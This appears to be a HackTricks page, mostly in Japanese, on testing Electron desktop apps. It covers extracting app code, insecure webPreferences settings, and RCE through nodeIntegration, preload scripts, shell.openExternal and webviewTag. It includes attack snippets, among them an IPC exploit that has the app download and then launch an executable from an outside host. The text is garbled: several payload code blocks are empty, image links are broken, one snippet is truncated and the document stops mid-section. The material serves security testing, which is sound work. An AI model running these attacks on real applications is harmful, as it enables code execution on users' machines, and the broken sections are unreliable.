# Electron デスクトップアプリ
{{#include ../../../banners/hacktricks-training.md}}
## はじめに
Electronはローカルのバックエンド(**NodeJS**)とフロントエンド(**Chromium**)を組み合わせていますが、現代のブラウザが備えるいくつかのセキュリティ機構が欠けています。
通常、electronアプリのコードは`.asar`アプリケーション内にあることが多く、コードを取得するにはそれを抽出する必要があります:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
Electron アプリのソースコードでは、`packet.json` 内にセキュリティ設定が設定されている `main.js` ファイルが指定されているのを確認できます。
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
Electronには2つのプロセスタイプがあります:
- Main Process (NodeJSへ完全にアクセスできる)
- Renderer Process (セキュリティ上の理由からNodeJSへのアクセスは制限されるべき)
.png>)
**renderer process** はファイルを読み込むブラウザウィンドウになります:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
main.js ファイル内の **メインプロセス** で **レンダラープロセス** の設定を **構成** できます。いくつかの設定は、**設定が正しく構成されていれば** Electron アプリケーションが RCE やその他の脆弱性を受けるのを **防止** します。
Electron アプリケーションは Node API 経由で **デバイスにアクセス** できる可能性がありますが、これを防ぐように構成できます:
- **`nodeIntegration`** - はデフォルトで `off` です。オンにすると、レンダラープロセスから node の機能へアクセスできるようになります。
- **`contextIsolation`** - はデフォルトで `on` です。`off` の場合、メインとレンダラープロセスは分離されません。
- **`preload`** - はデフォルトで空です。
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - はデフォルトで `off` です。NodeJS が実行できる操作を制限します。
- Workers 内の Node Integration
- **`nodeIntegrationInSubframes`** - はデフォルトで `off` です。
- もし **`nodeIntegration`** が **有効** であれば、Electron アプリ内の iframe に読み込まれたウェブページで **Node.js APIs** を使用できるようになります。
- もし **`nodeIntegration`** が **無効** であれば、preload スクリプトは iframe 内で読み込まれます。
設定の例:
```javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
```
以下は [here](https://7as.es/electron/nodeIntegration_rce.txt) からの **RCE payloads**:
```html
Example Payloads (Windows):
Example Payloads (Linux & MacOS):
```
### Capture traffic
start-main の設定を変更し、次のような proxy の使用を追加します:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron Local Code Injection
ローカルでElectron Appを実行できる場合、そのアプリに任意のjavascriptコードを実行させることが可能です。詳しくは以下を参照してください:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
{{#endref}}
## RCE: XSS + nodeIntegration
もし **nodeIntegration** が **on** に設定されている場合、ウェブページのJavaScriptは `require()` を呼び出すだけで簡単にNode.jsの機能を使用できます。例えば、Windowsでcalcアプリケーションを実行する方法は次のとおりです:
```html
```
## RCE: preload
この設定で指定されたスクリプトは**レンダラ内の他のスクリプトより先に読み込まれる**ため、**Node APIsへの無制限のアクセス**を持ちます:
```javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
したがって、このスクリプトは node-features をページにエクスポートできます:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
```
```html:index.html
```
> [!NOTE] > **`contextIsolation` が有効な場合、これは動作しません**
## RCE: XSS + contextIsolation
The _**contextIsolation**_ は、web ページのスクリプトと JavaScript Electron の内部コードの間に **分離されたコンテキスト** を導入し、それぞれのコードの JavaScript 実行が互いに影響しないようにします。これは RCE の可能性を排除するために必要な機能です。
If the contexts aren't isolated an attacker can:
1. **arbitrary JavaScript in renderer** を実行する(XSS または外部サイトへの遷移)
2. preload や Electron internal code で使用される **built-in method** を上書きして制御を奪う
3. 上書きされた関数の使用を **トリガーする**
4. RCE?
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
{{#ref}}
electron-contextisolation-rce-via-preload-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-electron-internal-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### クリックイベントのバイパス
リンクをクリックしたときに制限が適用される場合、通常の左クリックの代わりに **中クリックを行う** ことでそれらを回避できる場合があります。
```javascript
window.addEventListener('click', (e) => {
```
## RCE via shell.openExternal
この例の詳細については [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) と [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) を参照してください。
Electron デスクトップアプリケーションをデプロイする際、`nodeIntegration` と `contextIsolation` の設定を正しく行うことが重要です。これらの設定があれば、preload scripts や Electron's native code from the main process を標的とした client-side remote code execution (RCE) は実質的に防止されることが確立されています。
ユーザーがリンクを操作したり新しいウィンドウを開いたりすると、特定の event listeners がトリガーされ、アプリケーションのセキュリティと機能において重要な役割を果たします:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
これらのリスナーは**デスクトップアプリケーションによって上書きされ**、独自の**ビジネスロジック**を実装します。アプリケーションは、ナビゲートされたリンクを内部で開くべきか外部のWebブラウザで開くべきかを判定します。
この判定は通常、`openInternally` 関数を通じて行われます。もしこの関数が `false` を返す場合、そのリンクは外部で開かれるべきであることを示し、`shell.openExternal` 関数を利用します。
**以下は簡略化した擬似コードです:**
.png>)
.png>)
Electron JS のセキュリティベストプラクティスは、`openExternal` 関数で信頼されていないコンテンツを受け入れることを避けるよう推奨しています。なぜなら、さまざまなプロトコル経由で RCE に繋がる可能性があるためです。各オペレーティングシステムは RCE を引き起こし得る異なるプロトコルをサポートしています。詳細な例や追加説明については、[この資料](https://positive.security/blog/url-open-rce#windows-10-19042) を参照してください。ここにはこの脆弱性を悪用できる Windows プロトコルの例が含まれています。
macOS では、`openExternal` 関数は `shell.openExternal('file:///System/Applications/Calculator.app')` のように任意のコマンドを実行するために悪用され得ます。
**Windows プロトコルの悪用例には以下が含まれます:**
```html
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
この脆弱性は **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** に記載されています。
**webviewTag** は **deprecated feature** で、**renderer process** で **NodeJS** を使用可能にします。preload context 内に次のようなスクリプトを読み込めるため、無効化すべきです:
```xml
```
したがって、任意のページを読み込める攻撃者は、そのタグを使って**load an arbitrary preload script**を実行できる。
このpreload scriptは悪用され、**vulnerable IPC service (`skype-new-window`)**を呼び出し、そのサービスが**`shell.openExternal`**を呼び出してRCEを得ていました:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
```
## 内部ファイルの読み取り: XSS + contextIsolation
**`contextIsolation`を無効にすると、``タグが使用可能になり、`